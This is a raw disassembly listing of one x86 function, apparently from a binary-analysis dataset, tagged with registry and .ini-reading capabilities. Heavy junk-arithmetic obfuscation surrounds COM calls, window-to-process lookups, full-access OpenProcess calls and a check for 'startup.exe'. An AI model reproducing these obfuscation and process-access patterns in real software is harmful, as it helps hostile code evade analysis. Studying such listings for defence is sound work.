Function at 0x4201b0
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44b47d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x1130
call fcn.004309b0
mov eax, dword [0x45e540]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov ecx, dword [0x45cbcc]
mov esi, dword [0x45cbd4]
mov eax, 0x315a5211
imul esi
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x315a5211
imul ecx
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cbdc]
imul edx, edx, 0x3575d9d
sub eax, ebx
add eax, edx
mov edx, dword [0x45cbe8]
imul edx, edx, 0x5335ef4
add eax, edx
mov ebx, eax
mov eax, 0x680c7cd1
imul esi
sar edx, 0x19
add ebx, edx
mov esi, edx
mov eax, ecx
imul eax, eax, 0x4e899b9
shr esi, 0x1f
add esi, ebx
add esi, eax
mov eax, 0x83740ec5
imul ecx
add edx, ecx
sar edx, 0x19
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x45cbe4]
mov eax, 0x993c2c11
imul ecx
add edx, ecx
mov ecx, dword [0x45cbd0]
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [str._r_____r____], esi
mov esi, eax
mov eax, 0x3bfa58a9
imul ecx
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cbe0]
imul edx, edx, 0x14e459e
mov ebx, eax
sub ebx, esi
add ebx, edx
mov eax, 0x342745e1
imul ecx
sar edx, 0x18
xor edi, edi
mov esi, edx
mov dword [ebp - 0x1108], edi
mov dword [ebp - 4], edi
shr esi, 0x1f
add ebx, edx
mov eax, 0x206151bf
imul ecx
mov ecx, dword [0x45cbc8]
imul ecx, ecx, 0xfcfe96
sar edx, 0x15
add esi, ebx
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
add eax, ecx
mov dword [0x45cbc8], eax
mov dword [ebp - 0x10ec], edi
lea edx, [ebp - 0x10ec]
push edx
push 0x44d3b4
push 0x17
push edi
push 0x4519d8
mov byte [ebp - 4], 1
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov esi, dword [0x45cbd8]
mov edi, dword [0x45cbc8]
mov dword [ebp - 0x10cc], eax
mov eax, 0x315a5211
imul dword [0x45cbdc]
sar edx, 0x18
mov ebx, esi
imul ebx, ebx, 0x52fe876
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov ecx, edi
imul ecx, ecx, 0x3575d9d
add ebx, ecx
mov ecx, dword [0x45cbe8]
mov edx, ecx
imul edx, edx, 0x5335ef4
add ebx, edx
mov edx, dword [0x45cbd0]
mov eax, 0x3b012ec7
imul edx
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x206151bf
imul esi
sar edx, 0x15
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
sub eax, dword [0x45cbe4]
sub eax, 0xfcfe96
mov dword [0x45cbd0], eax
mov eax, dword [ebp - 0x10cc]
xor ebx, ebx
cmp eax, ebx
jge 0x42042e
mov ecx, dword [str._r_____r____]
lea edi, [esi + ecx]
imul ecx, ecx, 0x4ebb783
mov esi, dword [0x45cbdc]
imul edi, edi, 0x3575d9d
mov eax, 0x680c7cd1
imul esi
sar edx, 0x19
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
add eax, ecx
mov ecx, esi
imul ecx, ecx, 0x4e899b9
add eax, ecx
mov ecx, dword [0x45cbe0]
mov edi, eax
mov eax, 0x74b32761
imul esi
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, dword [ebp - 0x10ec]
cmp eax, ebx
lea edx, [edi + ecx - 0xfcfe96]
mov dword [0x45cbd4], edx
mov byte [ebp - 4], bl
je 0x420572
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
xor eax, eax
jmp 0x422f40
mov eax, 0xc4e5d61
imul edi, edi, 0x4ebb783
imul ecx
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cbd4]
add eax, edi
mov dword [ebp - 0x10cc], eax
mov eax, 0x680c7cd1
imul edx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10cc]
sub edx, eax
mov esi, dword [0x45cbe0]
mov dword [ebp - 0x10cc], edx
mov eax, 0x342745e1
imul ecx
imul ecx, ecx, 0xfcfe96
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10cc]
sub edx, eax
mov edi, edx
mov eax, 0x74b32761
imul esi
imul esi, esi, 0x23193db
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
add eax, esi
sub eax, ecx
mov dword [0x45cbd8], eax
mov eax, dword [ebp - 0x10ec]
lea edx, [ebp - 0x1104]
push edx
mov dword [ebp - 0x1104], ebx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x1c]
mov edi, dword [0x45cbcc]
mov eax, 0x315a5211
imul dword [0x45cbe4]
sar edx, 0x18
mov ecx, dword [0x45cbd0]
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x993c2c11
imul edi
add edx, edi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cbe0]
lea ebx, [ecx + edi]
imul edx, edx, 0x222559d
imul ebx, ebx, 0x3e51956
sub ebx, eax
add ebx, edx
mov eax, 0x680c7cd1
imul dword [0x45cbe4]
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
add eax, esi
mov edx, eax
mov eax, dword [0x45cbdc]
mov dword [ebp - 0x10f0], esi
imul eax, eax, 0xfcfe96
add edx, ebx
add eax, edx
mov dword [0x45cbdc], eax
mov eax, dword [ebp - 0x1104]
test eax, eax
jne 0x420579
mov eax, dword [ebp - 0x10ec]
test eax, eax
mov byte [ebp - 4], 0
je 0x420572
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
xor eax, eax
jmp 0x422f40
mov edx, dword [0x45cbe8]
mov eax, dword [0x45cbd4]
mov esi, dword [0x45cbd8]
imul eax, eax, 0x5335ef4
lea ebx, [ecx + edx]
imul ebx, ebx, 0x456b154
sub ebx, eax
mov edx, esi
imul edx, edx, 0x222559d
add ebx, edx
mov eax, 0x3b012ec7
imul edi
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x83740ec5
imul dword [0x45cbe8]
add edx, dword [0x45cbe8]
sar edx, 0x19
add ebx, edx
mov eax, edx
mov edx, dword [0x45cbdc]
imul edx, edx, 0xfcfe96
shr eax, 0x1f
add eax, ebx
sub eax, edx
mov dword [0x45cbe0], eax
mov eax, dword [ebp + 8]
test eax, eax
je 0x42067a
mov eax, dword [0x45cbc8]
mov ecx, dword [0x45cbd4]
lea edi, [eax + ecx]
mov ecx, dword [str._r_____r____]
imul edi, edi, 0x23193db
mov eax, 0x3b012ec7
imul ecx
imul ecx, ecx, 0x4ebb783
sar edx, 0x18
mov ebx, edx
add edi, edx
mov eax, 0x680c7cd1
imul esi
sar edx, 0x19
mov eax, edx
shr ebx, 0x1f
shr eax, 0x1f
add eax, edx
add ebx, edi
sub ebx, eax
mov eax, 0x83740ec5
imul esi
mov eax, dword [ebp - 0x10f0]
add ebx, ecx
add edx, esi
sar edx, 0x19
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub ebx, ecx
sub ebx, eax
mov ecx, 0x570738
mov dword [0x45cbe4], ebx
call fcn.00413df0
mov edi, dword [0x45cbcc]
mov ecx, dword [0x45cbd0]
mov esi, dword [0x45cbd8]
mov edx, dword [str._r_____r____]
mov eax, 0x3bfa58a9
imul edx
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ebx, [esi + ecx]
imul ebx, ebx, 0x4e899b9
sub ebx, eax
mov edx, ecx
imul edx, edx, 0x4ebb783
sub ebx, edx
mov eax, 0x680c7cd1
imul dword [0x45cbc8]
sar edx, 0x19
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov dword [ebp - 0x10cc], eax
mov eax, 0x74b32761
imul dword [0x45cbc8]
mov eax, dword [ebp - 0x10cc]
sar edx, 0x18
add eax, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, eax
mov eax, dword [0x45cbe4]
imul eax, eax, 0xfcfe96
sub ebx, eax
mov dword [0x45cbe8], ebx
mov dword [ebp - 0x10fc], 0
lea ecx, [ecx]
mov eax, dword [ebp - 0x10fc]
cmp eax, dword [ebp - 0x1104]
jge 0x422eb6
mov ecx, dword [0x45cbd4]
imul ebx, ebx, 0x5335ef4
mov eax, 0x315a5211
imul ecx
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x315a5211
imul edi
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, esi
mov esi, eax
mov eax, dword [0x45cbdc]
imul eax, eax, 0x3575d9d
add esi, eax
mov eax, 0x680c7cd1
imul ecx
sar edx, 0x19
mov ecx, edx
add esi, ebx
add esi, edx
mov edx, edi
imul edx, edx, 0x4e899b9
shr ecx, 0x1f
add ecx, esi
add ecx, edx
mov eax, 0x83740ec5
imul edi
add edx, edi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov dword [str._r_____r____], ecx
mov dword [ebp - 0x10dc], 0
mov eax, dword [ebp - 0x10fc]
mov word [ebp - 0x1124], 3
mov dword [ebp - 0x111c], eax
mov edi, dword [ebp - 0x1124]
mov ecx, dword [ebp - 0x10ec]
mov edx, dword [ecx]
lea esi, [ebp - 0x10dc]
push esi
sub esp, 0x10
mov esi, esp
mov dword [esi], edi
mov edi, dword [ebp - 0x1120]
mov dword [esi + 4], edi
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x1118]
push ecx
mov byte [ebp - 4], 3
mov dword [esi + 0xc], eax
call dword [edx + 0x20]
lea ecx, [ebp - 0x1124]
push ecx
mov edi, eax
mov byte [ebp - 4], 2
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov esi, dword [0x45cbd8]
mov ecx, dword [0x45cbc8]
mov eax, 0x315a5211
imul ecx, ecx, 0x3575d9d
imul dword [0x45cbdc]
mov ebx, esi
imul ebx, ebx, 0x52fe876
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
add ebx, ecx
mov edx, dword [0x45cbe8]
mov ecx, dword [0x45cbd0]
imul edx, edx, 0x5335ef4
add ebx, edx
mov eax, 0x3b012ec7
imul ecx
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x206151bf
imul esi
sar edx, 0x15
mov ecx, edx
shr ecx, 0x1f
add ebx, edx
mov edx, dword [0x45cbe4]
add ecx, ebx
sub ecx, edx
sub ecx, 0xfcfe96
test edi, edi
mov dword [0x45cbd0], ecx
jge 0x42089a
mov eax, dword [ebp - 0x10dc]
test eax, eax
mov byte [ebp - 4], 1
je 0x420cec
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x420ce0
mov edi, dword [0x45cbcc]
mov eax, 0x315a5211
imul edx
sar edx, 0x18
lea ebx, [ecx + edi]
imul ebx, ebx, 0x3e51956
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov ebx, eax
mov eax, 0x993c2c11
imul edi
add edx, edi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cbe0]
imul edx, edx, 0x222559d
sub ebx, eax
add ebx, edx
mov eax, 0x680c7cd1
imul dword [0x45cbe4]
sar edx, 0x19
add ebx, edx
mov eax, edx
mov edx, dword [0x45cbdc]
imul edx, edx, 0xfcfe96
shr eax, 0x1f
add eax, ebx
add eax, edx
mov dword [0x45cbdc], eax
mov eax, dword [ebp - 0x10dc]
test eax, eax
mov dword [ebp - 0x10d8], 0
je 0x420942
mov ecx, dword [eax]
lea edx, [ebp - 0x10d8]
push edx
push 0x44d40c
push eax
call dword [ecx]
mov edi, dword [0x45cbcc]
mov ecx, dword [0x45cbd0]
mov esi, dword [0x45cbd8]
mov ebx, dword [0x45cbe4]
mov eax, 0x993c2c11
imul ebx
add edx, ebx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x3bfa58a9
imul ecx
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cbe0]
sub eax, ebx
imul edx, edx, 0x14e459e
add eax, edx
mov dword [ebp - 0x10c8], eax
mov eax, 0x342745e1
imul ecx
mov eax, dword [ebp - 0x10c8]
sar edx, 0x18
add eax, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, eax
mov eax, 0x206151bf
imul ecx
sar edx, 0x15
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov ebx, eax
mov eax, dword [0x45cbc8]
imul eax, eax, 0xfcfe96
add ebx, eax
mov eax, dword [ebp - 0x10d8]
test eax, eax
mov dword [0x45cbc8], ebx
jne 0x4209ec
mov eax, dword [ebp - 0x10dc]
test eax, eax
mov byte [ebp - 4], 1
je 0x420cf2
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x420ce0
mov edx, dword [str._r_____r____]
lea ebx, [esi + edx]
mov eax, 0x680c7cd1
imul ebx, ebx, 0x3575d9d
imul dword [0x45cbdc]
sar edx, 0x19
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov ebx, eax
mov eax, dword [str._r_____r____]
imul eax, eax, 0x4ebb783
add ebx, eax
mov eax, dword [0x45cbdc]
imul eax, eax, 0x4e899b9
add ebx, eax
mov eax, 0x74b32761
imul dword [0x45cbdc]
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cbe0]
sub ebx, eax
lea eax, [ebx + edx - 0xfcfe96]
mov dword [0x45cbd4], eax
mov dword [ebp - 0x10e8], 0
imul eax, eax, 0x5335ef4
imul esi, esi, 0x222559d
mov ebx, dword [0x45cbe8]
add ecx, ebx
imul ecx, ecx, 0x456b154
sub ecx, eax
mov eax, 0x3b012ec7
imul edi
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
add ecx, esi
sub ecx, eax
mov eax, 0x83740ec5
imul ebx
mov eax, dword [0x45cbdc]
imul eax, eax, 0xfcfe96
add edx, ebx
sar edx, 0x19
mov esi, edx
add ecx, edx
shr esi, 0x1f
add esi, ecx
sub esi, eax
mov eax, dword [ebp - 0x10d8]
lea edx, [ebp - 0x10e8]
push edx
mov dword [0x45cbe0], esi
mov ecx, dword [eax]
push eax
mov byte [ebp - 4], 5
call dword [ecx + 0x48]
test eax, eax
jge 0x420b1a
mov eax, dword [ebp - 0x10e8]
test eax, eax
mov byte [ebp - 4], 4
je 0x420ae9
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10d8]
test eax, eax
mov byte [ebp - 4], 2
je 0x420afd
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x10dc]
test eax, eax
mov byte [ebp - 4], 1
je 0x420ce0
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x420ce0
mov ecx, dword [0x45cbd4]
mov eax, 0x993c2c11
imul ecx
add edx, ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cbe8]
imul edx, edx, 0x5335ef4
mov esi, eax
sub esi, edx
mov eax, 0x680c7cd1
imul ecx
mov ecx, dword [0x45cbe0]
sar edx, 0x19
mov eax, ecx
imul eax, eax, 0x4e899b9
mov ebx, edx
add esi, edx
mov edx, dword [0x45cbcc]
shr ebx, 0x1f
add ebx, esi
add ebx, eax
mov esi, dword [str._r_____r____]
mov eax, 0x74b32761
imul edx
sar edx, 0x18
add ebx, edx
mov edi, edx
mov edx, dword [0x45cbe4]
imul edx, edx, 0xfcfe96
shr edi, 0x1f
add edi, ebx
mov ebx, dword [ebp - 0x10e8]
add edi, edx
sub edi, esi
add edi, 0x456b154
test ebx, ebx
mov dword [0x45cbcc], edi
mov dword [ebp - 0x10e0], 0
je 0x420bd8
mov eax, dword [ebx]
lea ecx, [ebp - 0x10e0]
push ecx
push 0x44d41c
push ebx
call dword [eax]
mov ebx, dword [ebp - 0x10e8]
mov edi, dword [0x45cbcc]
mov ecx, dword [0x45cbe0]
mov eax, 0xc4e5d61
imul dword [0x45cbe8]
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cbc8]
imul edx, edx, 0x4ebb783
add eax, edx
mov dword [ebp - 0x10c8], eax
mov eax, 0x680c7cd1
imul dword [0x45cbd4]
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10c8]
sub edx, eax
mov dword [ebp - 0x10c8], edx
mov eax, 0x342745e1
imul dword [0x45cbe8]
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10c8]
sub edx, eax
mov dword [ebp - 0x10c8], edx
mov eax, 0x74b32761
imul ecx
imul ecx, ecx, 0x23193db
mov eax, dword [ebp - 0x10c8]
sar edx, 0x18
mov esi, edx
shr esi, 0x1f
add eax, edx
add esi, eax
mov eax, dword [ebp - 0x10e0]
add esi, ecx
mov ecx, dword [0x45cbe8]
imul ecx, ecx, 0xfcfe96
sub esi, ecx
test eax, eax
mov byte [ebp - 4], 6
mov dword [0x45cbd8], esi
jne 0x420d0a
test ebx, ebx
mov byte [ebp - 4], 4
je 0x420ca8
mov edx, dword [ebx]
push ebx
call dword [edx + 8]
mov edi, dword [0x45cbcc]
mov esi, dword [0x45cbd8]
mov eax, dword [ebp - 0x10d8]
test eax, eax
mov byte [ebp - 4], 2
je 0x420cc8
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov edi, dword [0x45cbcc]
mov esi, dword [0x45cbd8]
mov eax, dword [ebp - 0x10dc]
test eax, eax
mov byte [ebp - 4], 1
je 0x422e98
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov ecx, dword [0x45cbd0]
mov esi, dword [0x45cbd8]
mov edi, dword [0x45cbcc]
mov eax, dword [ebp - 0x10fc]
mov ebx, dword [0x45cbe8]
inc eax
mov dword [ebp - 0x10fc], eax
jmp 0x420700
push 0
call fcn.00430977
sub eax, dword [0x570990]
add esp, 4
cmp eax, 0x708
jge 0x421042
mov esi, dword [0x45cbd4]
mov ecx, dword [0x45cbcc]
mov eax, 0x315a5211
imul esi
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x315a5211
imul ecx
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cbdc]
mov ebx, eax
imul edx, edx, 0x3575d9d
mov eax, dword [0x45cbe8]
imul eax, eax, 0x5335ef4
sub ebx, edi
add ebx, edx
add ebx, eax
mov eax, 0x680c7cd1
imul esi
sar edx, 0x19
mov esi, edx
add ebx, edx
mov edx, ecx
imul edx, edx, 0x4e899b9
shr esi, 0x1f
add esi, ebx
add esi, edx
mov eax, 0x83740ec5
imul ecx
add edx, ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, dword [ebp - 0x10d8]
lea edx, [ebp - 0x110c]
push edx
mov dword [str._r_____r____], esi
mov ecx, dword [eax]
push eax
call dword [ecx + 0x94]
mov ecx, dword [ebp - 0x110c]
lea eax, [ebp - 0x1100]
push eax
push ecx
mov dword [ebp - 0x1100], 0
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov ecx, dword [0x45cbd4]
mov eax, 0x993c2c11
imul ecx
add edx, ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cbe8]
imul edx, edx, 0x5335ef4
mov esi, eax
sub esi, edx
mov eax, 0x680c7cd1
imul ecx
mov ecx, dword [0x45cbcc]
sar edx, 0x19
mov edi, edx
add esi, edx
shr edi, 0x1f
add edi, esi
mov esi, dword [0x45cbe0]
mov eax, esi
imul eax, eax, 0x4e899b9
add edi, eax
mov eax, 0x74b32761
imul ecx
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
mov edi, dword [0x45cbe4]
mov ecx, edi
imul ecx, ecx, 0xfcfe96
add eax, ecx
mov ecx, dword [str._r_____r____]
sub eax, ecx
add eax, 0x456b154
mov dword [0x45cbcc], eax
mov eax, dword [ebp - 0x1100]
test eax, eax
je 0x421dfd
mov edx, dword [0x45cbd8]
mov edi, dword [0x45cbdc]
lea ebx, [edx + ecx]
imul ecx, ecx, 0x4ebb783
mov eax, 0x680c7cd1
imul ebx, ebx, 0x3575d9d
imul edi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
add eax, ecx
mov ecx, edi
imul ecx, ecx, 0x4e899b9
add eax, ecx
mov ebx, eax
mov eax, 0x74b32761
imul edi
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x1100]
push edx
sub ebx, eax
push 0
lea ecx, [ebx + esi - 0xfcfe96]
push 0x1f0fff
mov dword [0x45cbd4], ecx
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x421042
mov ecx, dword [0x45cbcc]
mov eax, dword [0x45cbd0]
mov edi, dword [0x45cbe4]
lea ebx, [eax + ecx]
mov eax, 0x315a5211
imul ebx, ebx, 0x3e51956
imul edi
sar edx, 0x18
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov ebx, eax
mov eax, 0x993c2c11
imul ecx
add edx, ecx
sar edx, 0x19
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45cbe0]
imul edx, edx, 0x222559d
sub ebx, ecx
mov ecx, dword [0x45cbdc]
add ebx, edx
imul ecx, ecx, 0xfcfe96
mov eax, 0x680c7cd1
imul edi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add ebx, edx
mov dx, word [0x44de24]
add eax, ebx
add eax, ecx
mov dword [0x45cbdc], eax
mov al, byte [0x44de26]
mov byte [ebp - 0x2c2], al
mov word [ebp - 0x2c4], dx
xor eax, eax
mov ecx, 0x3f
lea edi, [ebp - 0x2c1]
rep stosd dword es:[edi], eax
push 0x100
lea ecx, [ebp - 0x2c4]
push ecx
push 0
push esi
stosb byte es:[edi], al
call sub.PSAPI.DLL_GetModuleFileNameExA
mov edx, dword [0x45cbd4]
mov eax, dword [0x45cbc8]
mov ecx, dword [0x45cbe4]
lea esi, [eax + edx]
mov eax, 0x315a5211
imul esi, esi, 0x23193db
imul ecx
sar edx, 0x18
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [str._r_____r____]
mov eax, 0x3b012ec7
imul ecx
imul ecx, ecx, 0x4ebb783
sar edx, 0x18
mov edi, edx
add esi, edx
shr edi, 0x1f
add edi, esi
mov esi, dword [0x45cbd8]
mov eax, 0x680c7cd1
imul esi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
add edi, ecx
mov eax, 0x83740ec5
imul esi
add edx, esi
sar edx, 0x19
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
lea edx, [ebp - 0x2c4]
sub edi, ecx
push str.startup.exe
push edx
mov dword [0x45cbe4], edi
call fcn.0040d390
add esp, 8
test eax, eax
jne 0x421e84
mov eax, dword [0x45cbd4]
mov esi, dword [0x45cbc8]
mov ecx, dword [0x45cbe4]
lea edi, [esi + eax]
mov eax, 0x315a5211
imul edi, edi, 0x23193db
imul ecx
sar edx, 0x18
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov ecx, dword [str._r_____r____]
mov eax, 0x3b012ec7
imul ecx
imul ecx, ecx, 0x4ebb783
sar edx, 0x18
add edi, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, edi
mov edi, dword [0x45cbd8]
mov eax, 0x680c7cd1
imul edi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x83740ec5
imul edi
mov eax, dword [ebp + 8]
add ebx, ecx
add edx, edi
sar edx, 0x19
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub ebx, ecx
mov ecx, dword [ebp - 0x1108]
inc ecx
test eax, eax
mov dword [0x45cbe4], ebx
mov dword [ebp - 0x1108], ecx
je 0x422d7f
push ecx
lea edx, [ebp - 0x10d8]
mov ecx, esp
mov dword [ebp - 0x10d0], esp
push edx
call fcn.00407fe0
mov ecx, 0x570738
call fcn.00407370
test al, al
jne 0x422d79
mov edi, dword [0x45cbd4]
mov esi, dword [0x45cbcc]
mov eax, 0x315a5211
imul edi
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x315a5211
imul esi
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ebx
mov ebx, dword [0x45cbdc]
mov edx, ebx
imul edx, edx, 0x3575d9d
add eax, edx
mov dword [ebp - 0x10c8], eax
mov eax, 0x680c7cd1
imul edi
mov eax, dword [ebp - 0x10c8]
sar edx, 0x19
add eax, edx
mov edi, edx
shr edi, 0x1f
add edi, eax
mov eax, esi
imul eax, eax, 0x4e899b9
add edi, eax
mov ecx, dword [0x45cbe8]
mov eax, 0x83740ec5
imul ecx, ecx, 0x5335ef4
imul esi
add edx, esi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov esi, dword [0x45cbd8]
mov eax, 0x315a5211
imul ebx
sar edx, 0x18
add edi, ecx
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cbc8]
mov dword [str._r_____r____], edi
imul edx, edx, 0x3575d9d
mov edi, esi
imul edi, edi, 0x52fe876
sub edi, eax
add edi, edx
mov edx, dword [0x45cbd0]
mov eax, 0x3b012ec7
imul edx
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x206151bf
imul esi
sar edx, 0x15
mov eax, edx
add edi, edx
shr eax, 0x1f
add eax, edi
sub eax, dword [0x45cbe4]
lea ecx, [eax + ecx - 0xfcfe96]
mov eax, dword [ebp - 0x10d8]
mov dword [0x45cbd0], ecx
mov edx, dword [eax]
lea ecx, [ebp - 0x1114]
push ecx
push eax
call dword [edx + 0x78]
mov ecx, dword [0x45cbcc]
mov edx, dword [0x45cbd0]
mov esi, dword [0x45cbe4]
lea edi, [edx + ecx]
mov eax, 0x315a5211
imul edi, edi, 0x3e51956
imul esi
sar edx, 0x18
mov ebx, edx
add edi, edx
mov eax, 0x993c2c11
imul ecx
add edx, ecx
mov ecx, dword [0x45cbe0]
sar edx, 0x19
imul ecx, ecx, 0x222559d
mov eax, edx
shr eax, 0x1f
add eax, edx
shr ebx, 0x1f
add ebx, edi
sub ebx, eax
mov eax, 0x680c7cd1
imul esi
add ebx, ecx
mov ecx, dword [0x45cbdc]
imul ecx, ecx, 0xfcfe96
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add ebx, edx
mov edx, dword [ebp - 0x1114]
add eax, ebx
add eax, ecx
push edx
mov dword [0x45cbdc], eax
call fcn.00426140
mov esi, dword [0x45cbd4]
mov dword [ebp - 0x10e4], eax
mov ecx, dword [0x45cbcc]
mov eax, 0x315a5211
imul esi
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x315a5211
imul ecx
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cbdc]
mov ebx, eax
imul edx, edx, 0x3575d9d
mov eax, dword [0x45cbe8]
imul eax, eax, 0x5335ef4
sub ebx, edi
add ebx, edx
add ebx, eax
mov eax, 0x680c7cd1
imul esi
sar edx, 0x19
add ebx, edx
mov esi, edx
mov edx, ecx
imul edx, edx, 0x4e899b9
shr esi, 0x1f
add esi, ebx
add esi, edx
mov eax, 0x83740ec5
imul ecx
add edx, ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov dword [str._r_____r____], esi
mov eax, dword [ebp - 0x10e0]
mov ecx, dword [eax]
lea edx, [ebp - 0x1110]
push edx
push eax
xor edi, edi
call dword [ecx + 0x90]
mov ecx, dword [0x45cbd4]
mov esi, eax
mov eax, 0x993c2c11
imul ecx
add edx, ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cbe8]
imul edx, edx, 0x5335ef4
mov ebx, eax
sub ebx, edx
mov eax, 0x680c7cd1
imul ecx
mov ecx, dword [0x45cbe0]
imul ecx, ecx, 0x4e899b9
sar edx, 0x19
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
add eax, ecx
mov ecx, dword [0x45cbcc]
mov ebx, eax
mov eax, 0x74b32761
imul ecx
mov ecx, dword [0x45cbe4]
imul ecx, ecx, 0xfcfe96
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add ebx, edx
mov edx, dword [str._r_____r____]
add eax, ebx
add eax, ecx
sub eax, edx
add eax, 0x456b154
test esi, esi
mov dword [0x45cbcc], eax
jne 0x4213d9
